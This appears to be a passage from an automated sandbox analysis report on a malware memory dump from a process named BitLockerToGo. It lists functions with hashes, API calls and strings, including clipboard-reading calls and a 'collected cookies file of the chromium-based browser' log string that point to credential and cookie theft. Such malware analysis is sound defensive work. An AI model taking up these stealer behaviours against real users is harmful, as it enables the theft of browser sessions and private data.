API String ID: 3298025750-0
Opcode ID: 9825c720d41d3ac7a8e18eea48bf428a4d6a4004ab2f19f30d65ed516f859d31
Instruction ID: 2e43c230841e21e7f9a8f41d62b42d91a39643433a9b67cab8193d2e34a06fbc
Opcode Fuzzy Hash: 9825c720d41d3ac7a8e18eea48bf428a4d6a4004ab2f19f30d65ed516f859d31
Instruction Fuzzy Hash: 52019CB0148380AFD304DF04D5A4B5BBBE1EB95318F508D1DE4A58B392C7B5D81ADB86

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02D1E8E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 157clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 02D1E94C
OpenClipboard.USER32 ref: 02D1E95E
GetClipboardData.USER32 ref: 02D1E977
GlobalLock.KERNEL32 ref: 02D1E993
GlobalUnlock.KERNEL32 ref: 02D1EA9D
CloseClipboard.USER32 ref: 02D1EAA7

Strings

F, xrefs: 02D1EA02
@, xrefs: 02D1E9FA
2, xrefs: 02D1E9F2
A, xrefs: 02D1E9EE
C, xrefs: 02D1E9FE

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: 2$@$A$C$F
API String ID: 3829817484-361553157
Opcode ID: a9d2778133181822cca66dba20762e31cf67e7af0829fc1b9c6be5e16ffe695b
Instruction ID: 86ffdc501bc42e55722790f85dfa061c4811c3aee6c0d214a01e2232e76d2358
Opcode Fuzzy Hash: a9d2778133181822cca66dba20762e31cf67e7af0829fc1b9c6be5e16ffe695b
Instruction Fuzzy Hash: 05615DB4908741DFC721DF39D484716BFE0AB05324F048A99E8DA8FB96D334E845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D06983 Relevance: 7.8, Strings: 6, Instructions: 284COMMON

Download Yara Rule

Strings

guc{, xrefs: 02D06BD8
w[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 02D06C99
DttH, xrefs: 02D06B25
sb b, xrefs: 02D06BCA
`Web, xrefs: 02D06B41
crvi, xrefs: 02D06BC3

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: DttH$`Web$crvi$guc{$sb b$w[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser
API String ID: 0-351321908
Opcode ID: 9f83f4bf49e8d49012204a6cdca15af13f87ce9e7978fd03c4fd3a93adfab061
Instruction ID: eb92db285df76eb7a41ad863b33b8451b3694ce4e9a8ecf22dcab748f5bea497
Opcode Fuzzy Hash: 9f83f4bf49e8d49012204a6cdca15af13f87ce9e7978fd03c4fd3a93adfab061
Instruction Fuzzy Hash: B3A18EB0608B418BD325CF29C4D07A3BBE1AF56305F08895DD4D78BBA2D778E855CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D017DE Relevance: 6.2, APIs: 4, Instructions: 232COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02D018C4
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 02D018F4

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 10743d0a5dad989b2750749fa8ff7a3ec444d30737ddc039e795c219fb117e90
Instruction ID: 7e33da95dbcdbddc5ef4e4fa5b93184a2fa08b9ec00f587176e9af4242cda566
Opcode Fuzzy Hash: 10743d0a5dad989b2750749fa8ff7a3ec444d30737ddc039e795c219fb117e90
Instruction Fuzzy Hash: 7F7116B1900B00AFD725CF24D8C4B63B3F9AB45314F144A1DE69A87791E770F909CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D2CD00 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

R-,T, xrefs: 02D2CDB0
ONA@, xrefs: 02D2CD68
R-,T, xrefs: 02D2CEC0

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ONA@$R-,T$R-,T
API String ID: 0-737641570
Opcode ID: 98e3b1845b5e9b7f8360b826a6347ba6c7692fdcef601d41a14a35120e84a2b4
Instruction ID: 04f7aa0ea6d4eefa86dc99671e3b5b956c2672470aa29531d8bc0816c37f954d
Opcode Fuzzy Hash: 98e3b1845b5e9b7f8360b826a6347ba6c7692fdcef601d41a14a35120e84a2b4
Instruction Fuzzy Hash: A5A199726143228BC714CE18C49076FB7E2FF98718F29891DE895AB391D335EC19CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02CF5760 Relevance: 3.4, Strings: 2, Instructions: 855COMMON

Download Yara Rule

Strings

8, xrefs: 02CF612E
0, xrefs: 02CF6136

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 762baf9fdd3b50d36f1e7081748e2d901e45eb3f65d12f960c1ffeff520393c9
Instruction ID: 6a83b78ad44cff7f93792b229fbf2063c46f7dc32cc48322be0aab536dd05eeb
Opcode Fuzzy Hash: 762baf9fdd3b50d36f1e7081748e2d901e45eb3f65d12f960c1ffeff520393c9
Instruction Fuzzy Hash: 058268716083419FD7A4CF18C880BAABBE2BFC8354F54891DFA898B391D775D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D17B8C Relevance: 3.3, Strings: 2, Instructions: 806COMMON

Download Yara Rule

Strings

HSOB, xrefs: 02D17D03
/Vw, xrefs: 02D18471

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: HSOB$/Vw
API String ID: 2994545307-2403524481
Opcode ID: b171818b93e0c151c9d1dd17c80750a691e1290f128c9febeeb37d425df10377
Instruction ID: 0a7a2cce9ac3bde7dd05d33d608d0603dbca0873df50bc60b14888cadc960fef
Opcode Fuzzy Hash: b171818b93e0c151c9d1dd17c80750a691e1290f128c9febeeb37d425df10377
Instruction Fuzzy Hash: 16528E70145B419FE339CF25D4907A7BBE2BF56308F188A5DC4EA8BB96C379A805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D153B0 Relevance: 1.8, Strings: 1, Instructions: 529COMMON

Download Yara Rule

Strings

", xrefs: 02D15877

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 20f0ae947c9de8d60149f01f8b7366f2e0076d1ff3ae9fd79bef99b2a7dd1084
Instruction ID: f5b5b92ed0749fe43f55906661c0d0b090c68d9129e146ac1106b8da0eb49fc9
Opcode Fuzzy Hash: 20f0ae947c9de8d60149f01f8b7366f2e0076d1ff3ae9fd79bef99b2a7dd1084
Instruction Fuzzy Hash: D102EFB5608340AFD714CE24F480B2BB7E6AFC4314F98896DE89587791D739ED09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D1863B Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

HSOB, xrefs: 02D17D03

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: HSOB
API String ID: 0-4264381521
Opcode ID: 5d790471924d3237be1385a50382f06bb6f7eb06e06b97d12e11fa5e9c377e6a
Instruction ID: 97e3405b7109ff3fb1b9ba53b757603391b93a8112f26bea9e4d97ae5482aafc
Opcode Fuzzy Hash: 5d790471924d3237be1385a50382f06bb6f7eb06e06b97d12e11fa5e9c377e6a
Instruction Fuzzy Hash: 61E15970145B419FE325CF35D0A07A3BBE2BF56308F588A5DD4EA4BB96C37AA805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D18D3B Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

HSOB, xrefs: 02D17D03

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: HSOB
API String ID: 0-4264381521
Opcode ID: 5d790471924d3237be1385a50382f06bb6f7eb06e06b97d12e11fa5e9c377e6a
Instruction ID: 1c526ef66a16e23fb7c1bf3d073ce3177ad07ba81d463c768de9b978ccbd93bb
Opcode Fuzzy Hash: 5d790471924d3237be1385a50382f06bb6f7eb06e06b97d12e11fa5e9c377e6a
Instruction Fuzzy Hash: 28E15970145B419FE325CF35D0A07A3BBE2BF56308F588A5DD4EA4BB96C37AA805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D0727D Relevance: 1.6, Strings: 1, Instructions: 355COMMON

Download Yara Rule

Strings

by, xrefs: 02D07298

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: by
API String ID: 0-1674299033
Opcode ID: aef1137fbeb0c5ac0e5857939cc4de517aa3f1b3cf7ae2afd7c5217d249d3ce8
Instruction ID: 31f6b4d8538aefb1e2a13e774bb094f8f5505008c536fcad2ac1457c6eef65b6
Opcode Fuzzy Hash: aef1137fbeb0c5ac0e5857939cc4de517aa3f1b3cf7ae2afd7c5217d249d3ce8
Instruction Fuzzy Hash: 22C14575610B008BD7288F28C8A17A7B7F2FF85318F149A1CD5978BB91E775B906CB84

Uniqueness

Uniqueness Score: -1.00%

Function 02D15F13 Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

hFt:, xrefs: 02D16158

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: hFt:
API String ID: 0-647926978
Opcode ID: ea43ffd8880e3839421b65b1217c509a9418c4d6b664bc2a36f3bfedefa55172
Instruction ID: 7a944561ee0dce13757e6eef1515d968766e7d09267f590c4a24d6bab36ca08f
Opcode Fuzzy Hash: ea43ffd8880e3839421b65b1217c509a9418c4d6b664bc2a36f3bfedefa55172
Instruction Fuzzy Hash: 00B12671201B818BD338CB399451767FBE6BF96204F298A5DC4EB8BB81D338E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D2C9C0 Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

ONA@, xrefs: 02D2CA28

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ONA@
API String ID: 0-126421097
Opcode ID: baeb3280573f326fd6bffde631ac0ce667e36fea3dd37b3862607428ddb988bd
Instruction ID: 478d980733222e0d4ea66d3fd34ee4f3ecdd9d6d5071f837057366139802dff6
Opcode Fuzzy Hash: baeb3280573f326fd6bffde631ac0ce667e36fea3dd37b3862607428ddb988bd
Instruction Fuzzy Hash: 2BA186716183129BD724CE28C490B6FB7E2FF94358F16891DE8859B361E770EC49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02CF6B00 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 02CF6C53

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: b589b540072d4ecd545d5a7a5898c68722d8a0c14c3a497ce803925b6980678d
Instruction ID: 951cfbb9ee064250763d5f09ea4453e1ed8d17b8556886c8db6018cd2aec91f1
Opcode Fuzzy Hash: b589b540072d4ecd545d5a7a5898c68722d8a0c14c3a497ce803925b6980678d
Instruction Fuzzy Hash: 7EB158711093819FD354CF68C88075AFBE4AFA9308F544A6DF5D897382C371EA18CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D0A000 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

&%, xrefs: 02D0A053

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &%
API String ID: 0-3372434844
Opcode ID: 0b85a6595600f16e343c55cb75a2aaecbdf1df6bc0cfaa04868ebee61338d548
Instruction ID: 19d0b448d5ff730f5ead56127644b44c846c53b3bce725e4f643035b966b72f4
Opcode Fuzzy Hash: 0b85a6595600f16e343c55cb75a2aaecbdf1df6bc0cfaa04868ebee61338d548
Instruction Fuzzy Hash: 317141B05083409FD324CF29C49075BBBE1FF85758F209A1DE9A99B3A1D374D908CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D163BC Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

kX_c, xrefs: 02D16478

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: kX_c
API String ID: 0-1179951471
Opcode ID: 533d87587488c4330882c609f1ff06ecdf8077c65272c43bba28370ea5907750
Instruction ID: 196ee833ab50afa4f5ff8ba4373620218d174dea1a81ee8f0491493e9f5ee536
Opcode Fuzzy Hash: 533d87587488c4330882c609f1ff06ecdf8077c65272c43bba28370ea5907750
Instruction Fuzzy Hash: 79514B70106F918ED72ACF34D9A07A7BBE1AF02246F48189CC4EB8B686D735B605CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02D16312 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

kX_c, xrefs: 02D16478

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: kX_c
API String ID: 0-1179951471
Opcode ID: 0afae2454d77b443957dce1dd2230c305ab477af7912d9178664590f9ba7167b
Instruction ID: 7bfd22d960277021230af1fe10a66850f745565f864adbba9d336fb4d0044e35
Opcode Fuzzy Hash: 0afae2454d77b443957dce1dd2230c305ab477af7912d9178664590f9ba7167b
Instruction Fuzzy Hash: 68614A70106F818ED729CF24D9A07A7BBE1AF02246F48199DC4EB8B386D779B605CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02D162C8 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

kX_c, xrefs: 02D16478

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: kX_c
API String ID: 0-1179951471
Opcode ID: d2e957d215e90b192e7c729951d5b6c3424b0d1a2ed6b5bf0776cd03391b75c9
Instruction ID: 61541fc45f62e3920b7edcef40cd4c223b92fabbdfcff4efe150638899743313
Opcode Fuzzy Hash: d2e957d215e90b192e7c729951d5b6c3424b0d1a2ed6b5bf0776cd03391b75c9
Instruction Fuzzy Hash: 2E414770105F818AD72ACF38D9907A7BBE1AF06246F44189CC4EB8B786C735B605CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02D14F56 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

8, xrefs: 02D14F8E

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 95b3c9c87028eb14cea58240f0f43c0a9495de390a54595e6c445cfc91740dce
Instruction ID: 01b6803bfc80bf77d99318a07ec1b635fd79e9a38d11e68c39e1548f42d5ead9
Opcode Fuzzy Hash: 95b3c9c87028eb14cea58240f0f43c0a9495de390a54595e6c445cfc91740dce
Instruction Fuzzy Hash: 2A3104B08183919BD710CF54E4A436FBBA6AFC6308F98091DE9815B781D339D904CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 02CF8160 Relevance: .8, Instructions: 787COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b3484146926eacc29ab87b0752c6682971377b9ed03794b3d069aa3772130e4
Instruction ID: c486140ee032582b482201e0006cd038a87775d81ebafa7f36fd77c5b04d3367
Opcode Fuzzy Hash: 1b3484146926eacc29ab87b0752c6682971377b9ed03794b3d069aa3772130e4
Instruction Fuzzy Hash: 2242D2316087128BC7A5DF18D8807BAB3E1FFC4318F194A2DDAC697285E334EA55CB52

Uniqueness

Uniqueness Score: -1.00%

Function 02D27620 Relevance: .7, Instructions: 727COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0d323469e8bc422a234914c86f561b651520905a5c3b11bfdff34c540e72d8
Instruction ID: 1509d2dd2239d876daaba47c22a42ebd48a66ff2c288210db78530b9dc378d50
Opcode Fuzzy Hash: fa0d323469e8bc422a234914c86f561b651520905a5c3b11bfdff34c540e72d8
Instruction Fuzzy Hash: E1428C716083519FE324CF18C890B2AFBE2BB95318F188A2DE5D597391D771E809CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02CF3780 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a1801816baaef0437f854e602f84fb005283c5716de19f461ad0cdef3beb3e
Instruction ID: 10bf709f09ac1b0650bdb27084f5bdc70959ce941ec5fb1df71b585e6e561d8c
Opcode Fuzzy Hash: 25a1801816baaef0437f854e602f84fb005283c5716de19f461ad0cdef3beb3e
Instruction Fuzzy Hash: 2152DE315087818FC7A9CF29C09026BF7E1FF88314F188AADEADA57751D735A945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02CF41C0 Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b32ddaee4e6348dae33356e10ad8869261a92eea9710855659690bb52f63b714
Instruction ID: 1cdf0625e6cf512919ed68ff68ca1df9b07022fb65885e8d209f6117fdb6cb2e
Opcode Fuzzy Hash: b32ddaee4e6348dae33356e10ad8869261a92eea9710855659690bb52f63b714
Instruction Fuzzy Hash: 374210B0614B518FC3B8CF29C58066ABBF1BF85710B548A2ED69B8BA90D735F945CB10

Uniqueness

Uniqueness Score: -1.00%

Function 02CF64E0 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320f9457d9811d35962a5717522e12e8449ee388fccde226bb2a0a40e7134e8a
Instruction ID: d675c0f14f3a8d583b4451fd6ec8d81bd82d7fec31c8dbfee72a21fc5d5fd7d7
Opcode Fuzzy Hash: 320f9457d9811d35962a5717522e12e8449ee388fccde226bb2a0a40e7134e8a
Instruction Fuzzy Hash: 0012C4366083408FDB58CF29C85076ABBE6EFC8304F18886DE999CB351DB35D945CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D0CCF0 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db4128048226a3eaac9e7a6d9e4a678173cc8b5bc147b3ef23b5bce66d0e5bf
Instruction ID: 81905e8b984f34e66f87b83a34760b03b828f1906f9de0fd863a9dd8cd7f2ea2
Opcode Fuzzy Hash: 8db4128048226a3eaac9e7a6d9e4a678173cc8b5bc147b3ef23b5bce66d0e5bf
Instruction Fuzzy Hash: F9F1BC71A18341CFD308CF28D890B2AB7E6FB89314F08896DE88697391D779EC55CB52

Uniqueness

Uniqueness Score: -1.00%

Function 02D012DF Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2de1e91cc803968566fa9cec665e3be56d310cd6267188eab02bd48b6afdb01
Instruction ID: c21cc754d0b70840ac523b291a9fa0e6ecffd5a3c29c27747d6dfba9c8421a3f
Opcode Fuzzy Hash: d2de1e91cc803968566fa9cec665e3be56d310cd6267188eab02bd48b6afdb01
Instruction Fuzzy Hash: 209193B1510B858BE3248F25C8A476BBBF1BF49308F544A5CD4CB8BB91E7B9F8058B45

Uniqueness

Uniqueness Score: -1.00%

Function 02D1BBF2 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 949041d73f14e8a6e4b0108a3937a4b443b1a493de1bd35a20526cb7ce63b4a0
Instruction ID: c17998e4cd6474bbe755da680b68dd3a78f6b7c30ffcf8ae2c37baeabc508ef4
Opcode Fuzzy Hash: 949041d73f14e8a6e4b0108a3937a4b443b1a493de1bd35a20526cb7ce63b4a0
Instruction Fuzzy Hash: 90A106716097408FC319CE38D4907A6BBE2BF96314F0D89ADD4AA8BBD6C735A805C751

Uniqueness

Uniqueness Score: -1.00%

Function 02D11FA1 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9d52aa2485c78a89edba2be6bcc5873e2e78ad65995e282a27a07b4642f525b
Instruction ID: 81a8672210ee8169ac86129b81a2fb9587be864944d03e542a248f5a290f3cd4
Opcode Fuzzy Hash: f9d52aa2485c78a89edba2be6bcc5873e2e78ad65995e282a27a07b4642f525b
Instruction Fuzzy Hash: 36618D75A00A119FC364CF2CD891A22B7F2EB893147258B2CD9EAC7B95D731F851CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D249C0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdc34c569aa9e6bf5e6529a9a5bddc9aab33dd62c947f4896f2aaf569758787c
Instruction ID: 78f42ba5126c08ea809411909f72a3c3afe0270f61a4bd2cc3d7509f469c79f6
Opcode Fuzzy Hash: bdc34c569aa9e6bf5e6529a9a5bddc9aab33dd62c947f4896f2aaf569758787c
Instruction Fuzzy Hash: 0D515AB55087548FE314DF29D89475BBBE1BB88318F044A2DE4E987390E379DA088F92

Uniqueness

Uniqueness Score: -1.00%

Function 02D27220 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad4b8eaeac6730851d6ea742e4fe5ff442e74585580eb39ae2298f6d684566c
Instruction ID: 2755736dc998a9f92248ace0b7df6ef104f528a73e98a7d663a2ebf862406da5
Opcode Fuzzy Hash: aad4b8eaeac6730851d6ea742e4fe5ff442e74585580eb39ae2298f6d684566c
Instruction Fuzzy Hash: AF519A71A083519BE728CE14C4A4B2EFBA2FBD4318F18891DE4851B396D771DC49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D186C5 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcd830741a9ace520c3adc80a52ca432fc8a77c6e0a8a113221ac3d091baae58
Instruction ID: 0e5954dae7ec90e31bf2b8392ac99f9d1f003a2e46c20762d1b0ae50ce66063e
Opcode Fuzzy Hash: bcd830741a9ace520c3adc80a52ca432fc8a77c6e0a8a113221ac3d091baae58
Instruction Fuzzy Hash: 2951D370545B808AE726CF3990907E3BBF1BF56308F44499DD0EE8BB82D736A40ADB54

Uniqueness

Uniqueness Score: -1.00%

Function 02D136F0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90ec77551eb513010431446964bf51109bf82e29aed8ae917bbca7102a0aa96
Instruction ID: 5ca2fc88277c89678b13e330f966fe377d5b1ea786dd1b6d03246f53f2cc3d9a
Opcode Fuzzy Hash: e90ec77551eb513010431446964bf51109bf82e29aed8ae917bbca7102a0aa96
Instruction Fuzzy Hash: 0A41C771604B415FC735CF29D490666F7F2BF8622471887ADD4A69BB81D730F90ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 02CF31D0 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

